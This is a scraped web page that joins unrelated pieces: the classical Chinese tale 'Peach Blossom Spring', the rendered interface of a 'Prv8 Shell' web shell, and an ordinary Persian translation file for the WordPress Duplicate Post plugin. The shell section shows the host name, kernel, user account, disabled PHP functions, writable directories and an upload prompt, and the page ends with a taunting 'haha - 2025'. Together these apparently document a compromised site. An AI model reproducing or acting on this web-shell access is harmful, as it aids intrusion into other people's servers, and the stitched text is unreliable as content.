晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/stando/www/wp-content/languages/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/stando/www/wp-content/languages/plugins/duplicate-post-fa_IR.po
# Translation of Plugins - Duplicate Post - Stable (latest release) in Persian
# This file is distributed under the same license as the Plugins - Duplicate Post - Stable (latest release) package.
msgid ""
msgstr ""
"PO-Revision-Date: 2020-05-04 11:09:00+0000\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=1; plural=0;\n"
"X-Generator: GlotPress/3.0.0-alpha\n"
"Language: fa\n"
"Project-Id-Version: Plugins - Duplicate Post - Stable (latest release)\n"

#: duplicate-post-options.php:351
msgid "Settings sections"
msgstr "بخش‌های تنظیمات"

#: duplicate-post-admin.php:271
msgid "Original item"
msgstr "گزینه اصلی"

#: duplicate-post-options.php:598
msgid "Show original item:"
msgstr "نمایش گزینه اصلی:"

#: duplicate-post-options.php:615
msgid "After the title in the Post list"
msgstr "بعد از عنوان در لیست نوشته"

#: duplicate-post-options.php:96
msgid "Translate Duplicate Post"
msgstr "ترجمه نوشته تکراری"

#: duplicate-post-options.php:90 duplicate-post-admin.php:216
msgid "Serving the WordPress community since November 2007."
msgstr "از نوامبر 2007 تا کنون در خدمت جامعه وردپرس بوده ایم"

#: duplicate-post-admin.php:422
msgid "Current user is not allowed to copy posts."
msgstr "این کاربر مجاز به کپی نوشته‌ها نیست."

#: duplicate-post-admin.php:215
msgid "Check out the documentation"
msgstr "مستندات جدید را بررسی کنید"

#. Plugin URI of the plugin
msgid "https://duplicate-post.lopo.it/"
msgstr "https://duplicate-post.lopo.it/"

#: duplicate-post-options.php:425
msgid "you probably want this unchecked, unless you have very special requirements"
msgstr "این گزینه پیشنهاد نمیشود،مگراینکه خواسته های خیلی خاص داشته باشید"

#: duplicate-post-options.php:95 duplicate-post-admin.php:796
msgid "Documentation"
msgstr "مستندات"

#: duplicate-post-options.php:622
msgid "Show update notice"
msgstr "نشان دادن هشدار بروزرسانی"

#: duplicate-post-options.php:488
msgid "You can use * to match zero or more alphanumeric characters or underscores: e.g. field*"
msgstr "میتوانید از * برای وصل کردن صفر حرف الفبا یا بیشتر یا خط کشیدن استفاده کنید:برای مثال field*"

#: duplicate-post-options.php:97
msgid "Support Forum"
msgstr "فرم پشتیبانی"

#: duplicate-post-options.php:410
msgid "Featured Image"
msgstr "تصویر شاخص"

#: duplicate-post-options.php:413
msgid "Template"
msgstr "الگو"

#: duplicate-post-options.php:416
msgctxt "post format"
msgid "Format"
msgstr "فرمت"

#: duplicate-post-options.php:419
msgid "Author"
msgstr "نویسنده"

#: duplicate-post-options.php:434
msgid "Menu order"
msgstr "چیدمان فهرست"

#: duplicate-post-options.php:587
msgid "Bulk Actions"
msgstr "کارهای دسته‌جمعی"

#: duplicate-post-admin.php:215
msgid "Please <a href=\"%s\">review the settings</a> to make sure it works as you expect."
msgstr "لطفا <a href=\"%s\">تنظیمات را بررسی کنید</a> تا مطمئن شوید افزونه آنگونه که انتظار دارید کار میکند."

#: duplicate-post-admin.php:807
msgid "%s item copied."
msgid_plural "%s items copied."
msgstr[0] "%s آیتم کپی شد."

#: duplicate-post-admin.php:703
msgid "Untitled"
msgstr "بدون عنوان"

#: duplicate-post-options.php:495
msgid "Show/hide private taxonomies"
msgstr "نشان دارن/پنهان کردن طبقه بندی ها"

#: duplicate-post-options.php:545
msgid "Passwords and contents of password-protected posts may become visible to undesired users and visitors"
msgstr "رمزهای عبور و محتواهای نوشته های قفل شده با رمزعبور ممکن است برای کاربران دیگر و بازدیدکنندگان نمایش داده شود"

#: duplicate-post-options.php:431
msgid "except pingbacks and trackbacks"
msgstr "به جز اعلانات"

#: duplicate-post-options.php:376
msgid "Display"
msgstr "نمایش"

#: duplicate-post-options.php:367
msgid "Permissions"
msgstr "دسترسی ها"

#: duplicate-post-options.php:358
msgid "What to copy"
msgstr "چه چیزهایی کپی شود؟"

#: duplicate-post-options.php:401
msgid "Slug"
msgstr "نامک"

#: duplicate-post-options.php:473
msgid "Add this number to the original menu order (blank or zero to retain the value)"
msgstr "این عدد را در دسته اصلی وارد کنید.(خالی یا از صفر به بالا)"

#: duplicate-post-options.php:467
msgid "Increase menu order by"
msgstr "دسته منو را زیاد کن با"

#: duplicate-post-options.php:407
msgid "Content"
msgstr "محتوا"

#: duplicate-post-options.php:388
msgid "Post/page elements to copy"
msgstr "محتواهای نوشته/برگه برای کپی"

#: duplicate-post-options.php:404
msgid "Excerpt"
msgstr "برگزیدن"

#: duplicate-post-options.php:392
msgid "Title"
msgstr "عنوان"

#: duplicate-post-options.php:398
msgid "Status"
msgstr "وضعیت"

#: duplicate-post-options.php:395
msgid "Date"
msgstr "تاریخ"

#: duplicate-post-admin.php:219
msgid "Dismiss this notice."
msgstr "این اخطار را نادیده بگیر."

#: duplicate-post-admin.php:684
msgid "Copy features for this post type are not enabled in options page"
msgstr "\"کپی کردن امکانات\" برای این نوع نوشته در صفحه گزینه ها فعال نشده است."

#: duplicate-post-options.php:551
msgid "Enable for these post types"
msgstr "برای این نوع نوشته ها فعال کن"

#: duplicate-post-options.php:560
msgid "Select the post types you want the plugin to be enabled"
msgstr "نوع نوشته هایی که میخواهید افزونه فعال کند را انتخاب کنید"

#: duplicate-post-options.php:561 duplicate-post-options.php:592
msgid "Whether the links are displayed for custom post types registered by themes or plugins depends on their use of standard WordPress UI elements"
msgstr "این که آیا پیوندها در انواع نوشته سفارشی ثبت‌شده توسط پوسته‌ها یا افزونه‌ها نمایش داده می‌شوند، به استفاده آنها از عناصر استاندارد رابط کاربری وردپرس بستگی دارد."

#: duplicate-post-options.php:428
msgid "Children"
msgstr "فرزندان"

#: duplicate-post-options.php:425
msgid "Attachments"
msgstr "پیوست‌ها"

#: duplicate-post-options.php:422
msgid "Password"
msgstr "رمز عبور"

#: duplicate-post-options.php:431
msgid "Comments"
msgstr "دیدگاه‌ها"

#: duplicate-post.php:53
msgid "Settings"
msgstr "تنظیمات"

#: duplicate-post-options.php:633
msgid "Save Changes"
msgstr "ذخیره تغییرات"

#. Author URI of the plugin
msgid "https://lopo.it"
msgstr "https://lopo.it"

#. Author of the plugin
msgid "Enrico Battocchi"
msgstr "Enrico Battocchi"

#: duplicate-post-options.php:583
msgid "Admin bar"
msgstr "نوار مدیر سایت"

#: duplicate-post-options.php:581
msgid "Edit screen"
msgstr "ویرایش صفحه"

#: duplicate-post-options.php:447
msgid "Prefix to be added before the title, e.g. \"Copy of\" (blank for no prefix)"
msgstr "پیشوند برای اضافه کردن به اول عنوان،برای مثال \"کپی از\" (خالی:بدون پیشوند)"

#: duplicate-post-options.php:441
msgid "Title prefix"
msgstr "پیشوند عنوان"

#: duplicate-post-options.php:512
msgid "Select the taxonomies you don't want to be copied"
msgstr "طبقه بندی هایی که نمیخواهید کپی شود را انتخاب کنید"

#: duplicate-post-options.php:493
msgid "Do not copy these taxonomies"
msgstr "این طبقه بندی ها را کپی نکن"

#: duplicate-post-options.php:487
msgid "Comma-separated list of meta fields that must not be copied"
msgstr "لیست فیلد های جدا شده با ویرگول که نباید کپی شود"

#: duplicate-post-options.php:480
msgid "Do not copy these fields"
msgstr "این فیلد ها را کپی نکن"

#. Plugin Name of the plugin
#: duplicate-post-options.php:49
msgid "Duplicate Post"
msgstr "تکثیر کننده پست"

#: duplicate-post-options.php:49 duplicate-post-options.php:79
msgid "Duplicate Post Options"
msgstr "گزینه های تکثیر کننده پست"

#: duplicate-post-options.php:96
msgid "Translate"
msgstr "ترجمه"

#: duplicate-post-admin.php:797
msgid "Donate"
msgstr "کمک مالی"

#: duplicate-post-admin.php:466
msgid "Copy creation failed, could not find original:"
msgstr "فیلد را کپی کن،نسخه اصلی یافت نشد:"

#: duplicate-post-admin.php:426
msgid "No post to duplicate has been supplied!"
msgstr "هیچ پستی برای تکثیر کردن عرضه نشده است!"

#: duplicate-post-options.php:454
msgid "Title suffix"
msgstr "پسوند عنوان"

#: duplicate-post-admin.php:376 duplicate-post-admin.php:831
msgid "Clone"
msgstr "تکرار"

#: duplicate-post-common.php:78 duplicate-post-common.php:81
#: duplicate-post-common.php:172 duplicate-post-common.php:184
#: duplicate-post-admin.php:395
msgid "Copy to a new draft"
msgstr "در یک پیش‌نویس تازه کپی کن"

#: duplicate-post-admin.php:379
msgid "New Draft"
msgstr "پیش‌نویس تازه"

#. Description of the plugin
msgid "Clone posts and pages."
msgstr "تکرار نوشته‌ها و برگه‌ها."

#: duplicate-post-options.php:579
msgid "Post list"
msgstr "فهرست نوشته‌ها"

#: duplicate-post-options.php:575
msgid "Show links in"
msgstr "نمایش پیوند‌ها در"

#: duplicate-post-options.php:544
msgid "Warning: users will be able to copy all posts, even those of other users"
msgstr "هشدار: همه اعضا قادر به کپی‌کردن همه نوشته‌ها و برگه‌ها هستند"

#: duplicate-post-options.php:527
msgid "Roles allowed to copy"
msgstr "نقش‌های مجاز برای کپی"

#: duplicate-post-options.php:460
msgid "Suffix to be added after the title, e.g. \"(dup)\" (blank for no suffix)"
msgstr "پسوند برای افزودن به انتهای عنوان، برای مثال «تکراری» (خالی برای بدون پسوند)"

haha - 2025